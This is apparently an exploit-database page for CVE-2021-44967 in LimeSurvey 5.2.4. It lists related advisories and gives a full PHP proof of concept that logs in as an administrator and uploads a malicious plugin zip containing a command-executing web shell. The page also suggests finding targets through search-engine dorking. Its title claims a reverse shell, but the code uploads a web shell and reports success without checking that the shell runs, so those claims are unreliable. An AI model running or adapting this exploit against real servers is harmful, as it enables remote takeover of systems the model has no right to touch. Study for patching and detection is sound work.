| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Limesurvey | 5 Jan 202513:12 | – | githubexploit | |
| CVE-2021-44967 | 5 Jan 202523:48 | – | circl | |
| LimeSurvey 代码问题漏洞 | 24 Feb 202200:00 | – | cnnvd | |
| CVE-2021-44967 | 22 Feb 202221:17 | – | cve | |
| CVE-2021-44967 | 22 Feb 202221:17 | – | cvelist | |
| CVE-2021-44967 | 24 Feb 202215:15 | – | nvd | |
| LimeSurvey <= 5.2.4 RCE Vulnerability | 30 May 202200:00 | – | openvas | |
| BIT-LIMESURVEY-2021-44967 | 6 Mar 202410:56 | – | osv | |
| LimeSurvey 5.2.4 Shell Upload | 18 Feb 202500:00 | – | packetstormnews | |
| Remote code execution | 24 Feb 202215:15 | – | prion |
=============================================================================================================================================
| # Title : LimeSurvey 5.2.4 reverse shell Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) |
| # Vendor : https://www.limesurvey.org/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: This script is used to exploit vulnerability in LimeSurvey to load a malicious PHP plugin and execute a reverse shell.
(Related : https://packetstorm.news/files/id/189288/ Related CVE numbers: CVE-2021-44967 ) .
[+] save code as poc.php.
[+] Set TArget : line 112
[+] Usage : php poc.php
[+] PayLoad :
<?php
/**
* هذا السكريبت يُستخدم لاستغلال ثغرة CVE-2021-44967 في LimeSurvey لتحميل ملحق PHP خبيث وتنفيذ عكسية Shell.
*/
// تعطيل تحذيرات SSL
$context = stream_context_create([
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
]
]);
// إعدادات الملحق الخبيث
$plugin_name = "ExploitRCE_" . rand(1000, 9999);
$date = date("Y-m-d");
$xml_config = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
$xml_config .= "<config>\n";
$xml_config .= " <metadata>\n";
$xml_config .= " <name>$plugin_name</name>\n";
$xml_config .= " <type>plugin</type>\n";
$xml_config .= " <creationDate>$date</creationDate>\n";
$xml_config .= " <lastUpdate>$date</lastUpdate>\n";
$xml_config .= " <version>1.0</version>\n";
$xml_config .= " </metadata>\n";
$xml_config .= " <compatibility>\n";
$xml_config .= " <version>3.0</version>\n";
$xml_config .= " <version>4.0</version>\n";
$xml_config .= " <version>5.0</version>\n";
$xml_config .= " <version>6.0</version>\n";
$xml_config .= " <version>7.0</version>\n";
$xml_config .= " </compatibility>\n";
$xml_config .= "</config>";
// دالة تسجيل الدخول إلى LimeSurvey
function limesurvey_authenticate($url, $username, $password) {
echo "[*] محاولة تسجيل الدخول...\n";
$login_url = "$url/index.php/admin/authentication/sa/login";
$login_page = file_get_contents($login_url, false, $GLOBALS['context']);
preg_match('/name=\"YII_CSRF_TOKEN\" value=\"(.*?)\"/', $login_page, $matches);
$csrf_token = $matches[1] ?? '';
$data = http_build_query([
"YII_CSRF_TOKEN" => $csrf_token,
"authMethod" => "Authdb",
"user" => $username,
"password" => $password,
"login_submit" => "login"
]);
$options = [
"http" => [
"method" => "POST",
"header" => "Content-type: application/x-www-form-urlencoded",
"content" => $data,
]
];
$result = file_get_contents($login_url, false, stream_context_create($options));
if (strpos($result, '/index.php/admin/index') !== false) {
echo "[+] تسجيل الدخول ناجح!\n";
} else {
echo "[-] فشل تسجيل الدخول\n";
exit();
}
}
// رفع وتنفيذ الحمولة الخبيثة
function upload_payload($url, $plugin_name, $payload) {
echo "[*] رفع الحمولة الخبيثة...\n";
$upload_url = "$url/index.php/admin/pluginmanager?sa=upload";
$boundary = "----WebKitFormBoundary" . md5(time());
$data = "--$boundary\r\n";
$data .= "Content-Disposition: form-data; name=\"the_file\"; filename=\"$plugin_name.zip\"\r\n";
$data .= "Content-Type: application/zip\r\n\r\n";
$data .= $payload . "\r\n";
$data .= "--$boundary--\r\n";
$options = [
"http" => [
"method" => "POST",
"header" => "Content-Type: multipart/form-data; boundary=$boundary",
"content" => $data,
]
];
$result = file_get_contents($upload_url, false, stream_context_create($options));
if (strpos($result, 'sa=uploadConfirm') !== false) {
echo "[+] رفع الحمولة ناجح!\n";
} else {
echo "[-] فشل في رفع الحمولة\n";
exit();
}
}
// إعداد الحمولة الخبيثة
$payload = "<?php system(\$_GET['cmd']); ?>";
$zip = new ZipArchive();
$zip_file = tempnam(sys_get_temp_dir(), "exploit") . ".zip";
$zip->open($zip_file, ZipArchive::CREATE);
$zip->addFromString("config.xml", $xml_config);
$zip->addFromString("payload.php", $payload);
$zip->close();
$payload_data = file_get_contents($zip_file);
unlink($zip_file);
// تنفيذ الاستغلال
$url = "http://target-limesurvey.com"; // استبدل بعنوان الهدف
$username = "admin";
$password = "password";
limesurvey_authenticate($url, $username, $password);
upload_payload($url, $plugin_name, $payload_data);
echo "[*] تم تنفيذ الاستغلال بنجاح!\n";
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation